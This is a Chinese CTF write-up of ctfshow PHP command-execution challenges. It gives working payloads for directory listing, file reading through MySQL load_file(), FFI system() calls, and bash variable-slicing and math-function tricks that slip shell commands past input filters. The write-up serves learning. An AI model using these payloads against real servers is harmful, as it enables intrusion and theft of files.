ctfshow - web - 命令執行漏洞總結(二)

web73

該題目沒有開啟web72的open_basedir,所以可以使用var_export(scandir('/'));exit();進行目錄掃描。

讀取文件函數:

require_once()

web74

scandir()函數被禁用,使用glob://偽協議進行讀取根目錄文件。

c=var_export(glob('../../../*'));exit();
c=var_export(glob('/*'));exit();

c=$a=opendir("glob:///*");while (($file = readdir($a)) !== false) {echo $file . "<br>";};exit();

然后仍然用include()等函數來讀取文件。

web75

直接用c=var_export(glob("/*"));exit();去查看根目錄文件,發現返回false,說明直接用glob()函數存在問題。利用glob偽協議,可以繞過,得到根目錄文件。

c=$a=opendir("glob:///*");while (($file = readdir($a)) !== false) {echo $file . "<br>";};exit();

存在flag36.txt文件。include()等函數被過濾,ufa腳本也被過濾,因此可以使用mysql的load_file()函數進行文件讀取。

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;
}catch (PDOException $e) {echo $e->getMessage();exit(0);
}exit(0);try {// 使用PDO(PHP Data Objects)創建一個新的數據庫連接對象,指定DSN、用戶名(root)和密碼(root)$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');// 執行一個SQL查詢,從指定的文件(/flag36.txt)中讀取內容foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  // 輸出讀取到的內容,并追加一個豎線(|)echo($row[0])."|";}// 將數據庫連接對象設置為null,關閉連接$dbh = null;
} catch (PDOException $e) {// 如果發生PDO異常,輸出錯誤信息echo $e->getMessage();// 終止腳本執行die();
}
// 終止腳本執行
exit();

$dbh 是數據庫連接句柄(database handle),它是通過 new PDO 創建的,用于與數據庫進行交互。 PDO(PHP Data Objects)是PHP中的一個擴展,它提供了一個統一的接口來訪問不同的數據庫。它支持預處理語句和事務,使數據庫操作更安全和高效。 DSN(數據源名稱,Data Source Name)是一個包含數據庫連接信息的字符串。它通常包括數據庫類型、主機名、數據庫名稱等信息。在創建PDO對象時指定,即 'mysql:host=localhost;dbname=information_schema'。這個字符串包含了數據庫類型(mysql)、主機名(localhost)和數據庫名稱(information_schema)。 foreach 是PHP中的一個控制結構,用于遍歷數組或對象。在上面payload中,foreach 用于遍歷SQL查詢的結果集(由 $dbh->query 返回),并處理每一行的數據。

這里的ctftraing數據庫可以更換為information_schema,information數據庫包含了所有的信息,因此也可以查詢到flag36.txt的信息。

這里數據庫的名稱為空仍然可以獲取到flag36.txt,可能information_schema為默認的數據庫。

下面的代碼為mysqli的形式:

c=$dbh=mysqli_connect('localhost','root','root','ctftraining');
if($dbh->connect_errno){echo "連接失敗".$dbh->connect_error;exit(); 
} 
$dbh->set_charset('utf8mb4'); 
$q='select load_file("/flag36.txt") as file_content';
foreach(mysqli_query($dbh,$q) as $row){ echo $row['file_content']."|";
}
$dbh=null;
exit(0);c=$dbh=mysqli_connect('localhost','root','root','ctftraining');if($dbh->connect_errno){echo "連接失敗".$dbh->connect_error;exit();} $dbh->set_charset('utf8mb4');$q='select load_file("/flag36.txt") as file_content';foreach(mysqli_query($dbh,$q) as $row){echo $row['file_content']."|";}$dbh=null;exit(0);#該代碼數據庫的部分仍然可為空,應該是存在默認數據庫。c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();

利用php語言實現sql查詢:

#查詢數據庫

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){echo($row[0])."|"; 
}exit();
// 數據源名稱(DSN),指定數據庫類型、主機名和數據庫名稱
$dsn = "mysql:host=localhost;dbname=information_schema";
// 使用PDO(PHP Data Objects)創建一個新的數據庫連接對象,使用指定的DSN、用戶名(root)和密碼(root)
$db = new PDO($dsn, 'root', 'root');
// 執行一個SQL查詢,從SCHEMATA表中選擇并連接所有數據庫名稱(SCHEMA_NAME),返回一個結果集
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
// 遍歷結果集中的每一行,并輸出第一個字段(即連接的數據庫名稱),然后追加一個豎線(|)
foreach($rs as $row){echo($row[0])."|";
}
// 終止腳本執行
exit();

#查詢表
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='ctftraining'");
foreach($rs as $row){echo($row[0])."|"; 
}exit();
?
#查詢字段
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='ctftraining'");
foreach($rs as $row){echo($row[0])."|"; 
}exit();
?
#查詢值
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select FLAG_COLUMN from FLAG_TABLE");
foreach($rs as $row){echo($row[0])."|"; 
}exit();

web77

該題禁用了使用mysql代碼的方法去讀取flag。在php7.4版本以上存在一個FFI參數,該參數的FFI:cdef方法可用于定義C函數原型。int system(const char *command)是C語言中 system()函數的聲明,system($a)函數只接受一個字符串參數(即shell命令),并且會在系統中執行該命令。

$ffi = FFI::cdef("int system(const char *command);");//創建一個system對象
$a='/readflag > 1.txt';//沒有回顯的
$ffi->system($a);//通過$ffi去調用system函數

聲明system()函數為$ffi變量,$a是執行/readfile文件到1.txt,利用system()函數執行$a。

執行過程:利用$ffi變量調用system()函數,然后執行$a,實際就是執行shell命令:/readfile文件到1.txt

paylaod:

c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);

問題:為什么不能直接訪問flag36x.txt,原因:權限不夠,將flag36x.txt重定位到1.txt,可以看到沒有內容。

使用ls -a命令查看根目錄文件的權限:

c=$ffi = FFI::cdef("int system(const char *command);");$a='ls -l / > 1.txt';$ffi->system($a);

對于以上字符串每三個字符為一組,分別表示所有者權限,文件所屬組的權限,其他用戶和組的權限。

所以看到flag36x.txt是只有所有者和所屬組有讀的權限,其他組和用戶沒有任何權限。因此無法直接讀取flag36x.txt。但是readfile文件是其他用戶和組有讀取和執行的權限,因此可以讀取并執行該文件。

執行該文件后為什么能夠輸出flag:

原因:readflag文件是一個二進制文件,該文件的作用是用來提升權限的,所以能夠輸出flag。

重定位該文件到4.txt文件,然后訪問下載該文件,用IDA打開進行反編譯:

setuid(0):將權限提升為root。所以通過提升用戶權限為root來讀取flag。
?
int __fastcall main(int argc, const char **argv, const char **envp)
{
setuid(0); ? ? ? ? ? ? ? ? ? ?? // 提升權限為root用戶
puts("ctfshow flag getter"); ?? // 輸出一條信息到標準輸出
system("cat /flag36x.txt"); ? ? // 執行命令,輸出文件 /flag36x.txt 的內容
return 0; ? ? ? ? ? ? ? ? ? ? ? // 返回0,表示程序正常結束
}
就是提權成 root

web118

黑盒測試題目,不知道源碼。

輸入數字和小寫字母被過濾。大寫字母沒有被過濾。查看源碼,發現時輸入命令在system()函數中執行。

BP抓包查看那些字符是沒有被過濾:發現除了大寫字母還有一些字符沒有被過濾,例如 ~ 符號。

知識點:Linux內置變量,bash切片。

在linux中存在內置變量(系統變量)用于配置系統信息或者存儲系統信息。

(1)$BASH
?
描述:指向當前使用的Bash解釋器的路徑。
示例:/bin/bash
用途:用于確定正在使用的Bash版本和路徑。
?
(2) $PATH
?
描述:存儲一系列路徑,這些路徑用于查找可執行文件,當你在命令行中輸入命令時,系統會在這些路徑中查找對應的可執行文件。
示例:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
用途:影響命令的查找和執行,可以添加自定義腳本或程序的路徑。
?
(3)$HOME
?
描述:當前用戶的主目錄路徑。
示例:/home/username
用途:表示當前用戶的主目錄,通常用于存儲用戶配置文件和個人數據。
?
(4)$PWD
?
描述:當前工作目錄(Present Working Directory)。
示例:/home/username/projects
用途:表示當前的工作目錄路徑,常用于腳本和命令中獲取或顯示當前目錄。
?
(5)$USER
?
描述:當前登錄的用戶名。
示例:username
用途:表示當前用戶的名稱,常用于顯示或檢查用戶信息。
?
(6)$SHELL
?
描述:當前用戶的默認shell。
示例:/bin/bash
用途:表示用戶登錄時使用的默認shell路徑。
?
(7)$UID
?
描述:當前用戶的用戶ID。
示例:1000(普通用戶),0(root用戶)
用途:標識當前用戶的唯一ID。
?
(8)$IFS
?
描述:內部字段分隔符(Internal Field Separator),用于分割輸入的字段,默認為空格、制表符和換行符。
示例:默認值為<space><tab><newline>
用途:影響腳本中的字段分割,常用于處理輸入和解析文本。
?
(9)$PS1
?
(10)$OSTYPE
?
(11)$TERM

bash切片知識

與python切片類似。格式:${VAR:offset:length}

${PWD:1:3}

在bash中字符串索引的位置也從0開始。以上命令表示執行$PWD命令后將執行結果截取下標為1-3位置的字符。

${PWD:1}

如果只填寫一個字符則會默認訪問到字符串結尾。

該題目會用到 ~ 符號。~ 代表從結尾開始取值:

用到 ~ 的原因是需要在結尾處截取字符串進行字符串拼接從而得到能夠執行shell命令的參數。

由于數字被過濾,所以需要用到大寫字母:

看到大寫字母無論有幾個都只是截取末尾的一個字符,與數字0等效。

在該題目下,應該是部署/var/www/html環境下,所以$PWD的結果應該是/var/www/html,而$PATH的結果最后一個是bin,所以可以拼接出nl命令來讀取flag。

payload:

${PATH:~A}${PWD:~A} ????.???

讀取flag.php文件,因為通配符 ? 可以使用,所以用 ????.??? 來代替flag.php

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
等價于:ll ?l??.???

#其他師傅
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???

在bash中${#var}用于獲取變量var的長度,所以這里的截取位置需要的數字可以通過這種方法進行獲取。

這種方法可以用于任何變量,字符串變量以及環境變量。

比如:$HOME 返回 /root, 所以${#HOME} = 5

web119

該題目在原來過濾了小寫字母和數字以及一些特殊字符的基礎上,又過濾了PATH這個單詞,因此,上一題的payload無法使用。

利用${#RANDOM}系統內置變量,該變量是用來隨機生成數字4或者5,因此,可以構造/bin/base64來讀取flag。

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

${PWD::${#SHLVL}} 返回反斜杠/,用???通配符代表bin,用?????代表base6,用????.???代表flag.php。

${PWD::${SHLVL}}???${PWD::${SHLVL}}?????${#RANDOM} ????.???

${PWD::${SHLVL}}也返回 /,但不知道為什么不行,不能返回結果。

錯誤原因:因為${SHLVL}是返回在linux中第一次打開進程是值為1,第二次打開進程時值為2。所以當傳入${SHLVL}時,值為2則不能返回反斜杠 / 。

${HOME:${#HOSTNAME}:${#SHLVL}} ? ? ====> ? t
${PWD:${Z}:${#SHLVL}} ?? ====> ? /
/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

其他方法:

0:${#};
1:${#SHLVL}=1,或者${##}、${#?}。
2:${SHLVL}=2 (SHLVL是記錄多個 Bash 進程實例嵌套深度的累加器,進程第一次打開shell時$SHLVL=1,然后在此shell中再打開一個shell時$SHLVL=2。)
3:${#IFS}=3。(linux下是3,mac里是4)

構造payload: /bin/cat flag.php

已知$PWD返回/var/www/html

${PWD::${#SHLVL}}??? = /bin${PWD:${SHLVL}:${#SHLVL}} = a${PWD:~${SHLVL}:${#SHLVL}} = t${PWD::${#SHLVL}}?${PWD:${SHLVL}:${SHLVL}}${PWD:${SHLVL}:${SHLVL}} = /cat${PWD:~A} = l????.??? = flag.php${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}} ?${PWD:~A}??.???${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} = t
/???/??t ????.???
/bin/cat flag.php

${LANG:${#SHLVL}:${#SHLVL}}${PWD:~A} ?${PWD:~A}??.???
${SHELL:~${#RANDOM}:${#SHLVL}}${PWD:~Q} ?${PWD:~A}??.???

這兩條payload是通過構造nl命令來讀取flag,但是沒有成功。可能是因為nl沒有被允許使用。

web120

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>

該過濾條件導致只能通過字符拼接的方式去繞過過濾,并且拼接的字符串長度不能大于65,所以該payload不能使用。

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${PWD:${SHLVL}:${#SHLVL}}? ????.???

可以用以下paylaod來代替。

${PWD::${##}}???${PWD::${##}}??${PWD:~${SHLVL}:${##}} ????.???
${PWD::${##}}???${PWD::${##}}??${PWD:~${SHLVL}:${##}} ????.???
/???/??t ????.???

在控制字符串長度的時候,可以使用等價的長度更短的符號代替,這里${##} = ${#SHLVL}

官方WP:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

這里可以使用${USER:~A},因為USER在這里的參數是:www-data,${USER:~A} = a,該方法無法讀取flag。讀取了ELF的二進制文件。

其他方法:

用/bin/rev去讀取flag,出來結果是逆序。
?
${PWD::${#SHLVL}}??? = /bin
${PWD:${#IFS}:${#SHLVL}} ${#IFS}返回結果為3,因此可以讀取/var/www/html結果為:r。
因此 ${PWD::${#SHLVL}}${PWD:${#IFS}:${#SHLVL}}?? = /rev
?
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${#SHLVL}}?? ????.??? = /bin/rev flag.php

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

也可用上一題base64的方法去繞過,但要多試幾次。

web121

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

由于SHLVL被過濾,因此,可以用## 來代替SHLVL。

${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???

另一個payload:利用/bin/rev來獲取flag

${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

web122

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

該題目是增加了更多的過濾,由于過濾了 # 和 PWD 變量,所以上一題payload無法使用。
該題目利用 $? 進行繞過,來進行字符串的拼接,$?用來返回上一個命令的執行狀態,當命令執行錯誤時,狀態值返回1,執行正確時狀態值返回0。因此前面執行<A,是錯誤命令,會返回1,而$HOME返回/root結果,取下第一個字符,則為/,后面RANDOM,由于"#"被過濾,因此需要使用$?來進行切割取隨機數的第一位,當取到4時則構成base64讀取flag。 ?

由于沒有特征,所以在用通配符識別命令時會比較緩慢。

web124

<?php
error_reporting(0);
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 80) {die("太長了不會算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("請不要輸入奇奇怪怪的字符");}}//常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); ?foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("請不要輸入奇奇怪怪的函數");}}//幫你算出答案eval('echo '.$content.';');
}
?>

該題目是過濾了一些特殊符號,只允許在白名單whitelist中的函數進行操作,所以只能利用這些函數構造payload:

看文件
?
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls
?
讀取文件
?
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php
?
解析
?
$pi是因為題目限制只能用這個,其他的不讓用 首先$pi的值是_GET,定義這個變量是因為為了動態調用php函數,動態調用 PHP 函數需要使用 $var{func} 這種形式,其中 $var 是一個字符串,{func} 表示函數名。否則,如果直接使用 $func,則 PHP 引擎會將其解釋為一個未定義的常量,并且會導致語法錯誤。 為了調用system函數,就要構造
?
$pi{abs}($pi{acos});&abs=system&acos=ls
?
$pi{abs}($pi{acos});&abs=system&acos=tac flag.php
?
因為$pi 是一個字符串,而不是一個函數。$pi 的值是通過將 37907361743 和 1598506324 作為參數傳遞給 base_convert 和 dechex 函數計算得到的字符串。因此,如果直接使用 $pi{abs}($pi{acos}),PHP 引擎將無法識別 $pi 變量中的函數名。 為了解決這個問題,可以使用 PHP 變量變量解析器和函數調用鏈來動態調用函數。具體來說,$$pi{abs} 將 $pi{abs} 解釋為一個變量名,然后使用 $pi{acos} 作為該變量名的值進行函數調用。因此,$$pi{abs}($$pi{acos}) 將會調用 $pi{abs}($pi{acos})。 所以要構造
?
$$pi{abs}($$pi{acos});&abs=system&acos=ls
?
$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 這句代碼表明沒有檢測純數字或者特殊符號,一但出現字符就會和白名單的函數進行匹配,如果存則通過,不存在則停止執行。y因此需要使用數字和特殊符號進行繞過。

payload:

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324)) = _GET;

原因:
首先需要構造能夠執行參數的方法:$_GET()或者$_POST()。這就需要一個能夠將數字轉化為字符的函數,有???? hex2bin。(這里是將16進制轉為字符)

base_convert()是將一個字符串默認從一個進制轉到另一個進制。而base_convert("hex2bin",36,10)=
37907361743,因此base_convert(37907361743,10,36)也就等于hex2bin。

hexdec(bin2hex('_GET')) = 1598506324
注:hexdec是將16進制轉化為10進制,dechex是將十進制轉為16進制。
所以dechex(1598506324)就是_GET的16進制,然后通過hex2bin轉化為字符串。

$$pi{abs}($$pi{acos})
?
雙寫$$是將傳入一個參數的值再次當做變量,這里需要將傳入的值當作變量后動態調用,因此出現$$pi{abs},這里{abs}等價于要傳入的函數,$pi = _GET,所以$$pi{abs} = system,$$pi{acos} 即等價于傳入system函數的參數。$$pi{abs}($$pi{acos}) = system($var)

這里白名單里的變量可以認為是一些允許出現的字符串,不能當作執行的函數,在拼接paylaod的過程中可以利用這些字符串當作參數。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/921845.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/921845.shtml
英文地址,請注明出處:http://en.pswp.cn/news/921845.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

如何將視頻從安卓手機傳輸到電腦?

無論你是否是視頻愛好者&#xff0c;你可能都希望知道如何將視頻從安卓手機傳輸到電腦&#xff0c;以釋放存儲空間并防止性能問題。這也有助于同步視頻或防止意外刪除。在本文中&#xff0c;我們將探索七種高效的傳輸方法。方法 1&#xff1a;僅通過 USB 將手機視頻發送到電腦許…

Pico 4 Enterprise(企業版)與Unity的交互-有線串流調試篇

入手了Pico 4 E做VR開發&#xff0c;誰知入了天坑...根據官方文檔&#xff0c;嘗試了串流助手、企業串流、PICO Developer Center&#xff0c;陷入了各種版本問題、環境問題的陷阱。而且Pico4E的OS自24年12開始就不再更新&#xff0c;頭盔中預裝的企業串流版本也較低&#xff0…

redis里多線程的應用具體在哪些場景

Redis 6.0 引入的多線程I/O&#xff0c;?特指用于處理網絡數據的讀取&#xff08;read&#xff09;和寫入&#xff08;write&#xff09;/解析&#xff08;parse&#xff09;的并行化&#xff0c;而絕非將命令的執行&#xff08;真正的數據操作&#xff09;變成多線程。這是一…

DI-GAN:基于深度學習的動態形變多模光纖透反射光控制

DI-GAN:基于深度學習的動態形變多模光纖透反射光控制 1 論文核心概念 本文提出了一種名為 DI-GAN(Deep Imaging Generative Adversarial Network) 的持續深度學習框架,用于動態形變多模光纖(MMF) 的光場控制。該框架能夠同時利用透射和反射信息,實現對光纖末端光場的實…

【深度學習新浪潮】具身智能中使用到的世界模型是什么?

在具身智能中,世界模型(World Model) 是智能體對物理環境的內在“認知地圖”,它通過學習環境的動態規律(如物體運動、物理交互、因果關系等),實現對未來狀態的預測、對過去狀態的反推,以及對未觀測狀態的補全。其核心價值在于:讓智能體無需頻繁與真實環境交互,就能在…

Qt_UI界面的設計

一、設置UI窗口大小二、接收框只讀三、下拉選項雙擊添加選項1是添加&#xff0c;2是調整順序四、標簽字體居中字體大小五、發送框六、按鈕七、透明框&#xff08;可以放標簽或圖片啥的&#xff09;設置最小寬度八、水平布局九、垂直布局十、彈簧&#xff08;方便給水平垂直布局…

FTP文件傳輸服務

一、FTP協議、服務器FTP&#xff1a;文件傳輸協議&#xff08;用于網絡文件雙向傳輸的應用層協議&#xff09;特點&#xff1a;最廣泛、最底層、較簡單&#xff0c;但是明文傳輸&#xff1b;適用于較大文件的傳輸1.常見客戶端、服務器客戶端&#xff1a;WINSCP or filezilla&am…

Nginx運維之路(Docker多段構建新版本并增加第三方模塊)

喜大普奔&#xff0c;前兩天發現Nginx竟然自帶支持了ACME功能&#xff0c;讓我很想測試一下&#xff0c;但是發現手頭沒有資源讓我測試&#xff0c;忽然我想到可以用docker來構建nginx然后測試ACME功能&#xff0c;在這個過程中發現原來官方Nginx鏡像并沒有集成ACME插件&#x…

DrissionPage 優化天貓店鋪商品爬蟲:現代化網頁抓取技術詳解

概述在網絡數據采集領域&#xff0c;傳統的爬蟲方法通常面臨反爬機制、動態內容加載和效率低下等挑戰。本文將以天貓店鋪商品爬蟲為例&#xff0c;詳細介紹如何從傳統的 Requests 庫遷移到更現代化的 DrissionPage 解決方案&#xff0c;實現更高效、穩定的數據采集。----------…

pytest并發測試,資源問題導致用例失敗解決辦法

遇見的問題&#xff1a; 測試用例使用thrift資源和redis資源&#xff0c;單獨運行case沒有問題&#xff0c;但是使用并發pytest-xdist&#xff08;-n 10 和 --distloadscope&#xff09;運行失敗原因&#xff1a; 測試用例間存在共享資源競爭&#xff08;如 Redis、Thrift 連接…

C 盤又滿了?6 個「零風險清理法」+5 款神器,讓電腦瞬間多出 100GB 空間

你是否遇到過這樣的場景&#xff1a;正在趕工寫報告&#xff0c;突然彈出「C 盤存儲空間不足」的警告&#xff1b;想安裝新軟件&#xff0c;卻因為 C 盤爆紅而反復失敗&#xff1b;甚至電腦越來越卡&#xff0c;開機要等 5 分鐘&#xff0c;打開文件夾都要轉圈…… 作為系統盤…

Android 項目:畫圖白板APP開發(四)——筆鋒(單 Path)

上一章講解了如何通過多個 Path 疊加形成筆鋒效果&#xff0c;還有另外的方式實現筆鋒&#xff0c;并且只需要一條Path就可以了。在講解具體方案之前&#xff0c;我們需要了解一個有意思的工具 PathMeasure &#xff0c;這是一個非常強大且實用的工具&#xff0c;常用于高級動畫…

從C++開始的編程生活(7)——取地址運算符重載、類型轉換、static成員和友元

前言 本系列文章承接C語言的學習&#xff0c;需要有C語言的基礎才能學會哦~ 第7篇主要講的是有關于C的取地址運算符重載、類型轉換、static成員和友元。 C才起步&#xff0c;都很簡單 目錄 前言 取地址運算符重載 const成員函數 基本語法 特點 取地址運算符重載 類型轉換…

SQL 入門指南:排序與分頁查詢(ORDER BY 多字段排序、LIMIT 分頁實戰)

在 SQL 查詢中&#xff0c;我們常需要 “按報名時間先后看活動名單”“只看第 2 頁的活動報名數據”—— 這些需求靠基礎查詢無法實現&#xff0c;而ORDER BY&#xff08;排序&#xff09; 和LIMIT&#xff08;分頁&#xff09; 就是解決這類問題的核心工具。今天我們用 “校園…

jodconverter將word轉pdf底層libreoffice的問題

近期項目中使用了word轉pdf的功能&#xff0c;其中借助了遠程服務的jodconverter來處理。 <dependency><groupId>org.jodconverter</groupId><artifactId>jodconverter-remote</artifactId><version>4.4.2</version> </dependen…

【為YOLOv11Seg添加MFC界面】詳細指南

要將現有的YOLOv11Seg代碼集成到MFC界面中,我們需要創建一個MFC應用程序框架,并將現有的檢測邏輯封裝到其中。以下是詳細步驟: 1. 創建MFC應用程序框架 1.1 使用Visual Studio創建MFC項目 打開Visual Studio,選擇"創建新項目" 選擇"MFC應用程序"模板…

機器學習03——線性模型(多元線性回歸、對數線性回歸、二分類、線性判別分析)

上一章&#xff1a;機器學習02——模型評估與選擇 下一章&#xff1a;機器學習04——決策樹 機器學習實戰項目&#xff1a;【從 0 到 1 落地】機器學習實操項目目錄&#xff1a;覆蓋入門到進階&#xff0c;大學生就業 / 競賽必備 文章目錄一、線性模型的基本形式&#xff08;一…

qt QLineSeries詳解

1、概述QLineSeries是Qt Charts模塊中的一個重要類&#xff0c;用于繪制折線圖。它是QXYSeries的實現類&#xff0c;將信息顯示為由直線連接的一系列數據點。該類為QAbstractSeries的子類&#xff0c;因此可以通過該類來訪問QAbstractSeries的所有公共方法和屬性。2、重要方法c…

你再也找不到更詳細的3DGS教程了 —— 一萬九千字長文解析3DGS

參考: https://www.bilibili.com/video/BV1MF4m1V7e3/ https://blog.csdn.net/2401_86810419/article/details/148811121 https://www.bilibili.com/video/BV1cz421872F?t=233.9 https://wuli.wiki/online/SphHar.html https://zhuanlan.zhihu.com/p/467466131 特別指出…

Python,遺傳算法與神經網絡架構搜索:基于DEAP的自動模型設計

引言&#xff1a;當進化論遇見深度學習——自動化的黎明在深度學習的蠻荒時代&#xff0c;我們是“手工匠人”。我們依靠直覺、前輩的經驗&#xff08;ResNet 為什么是152層而不是153層&#xff1f;&#xff09;、大量的試錯以及那么一點點玄學&#xff0c;在架構的黑暗森林中摸…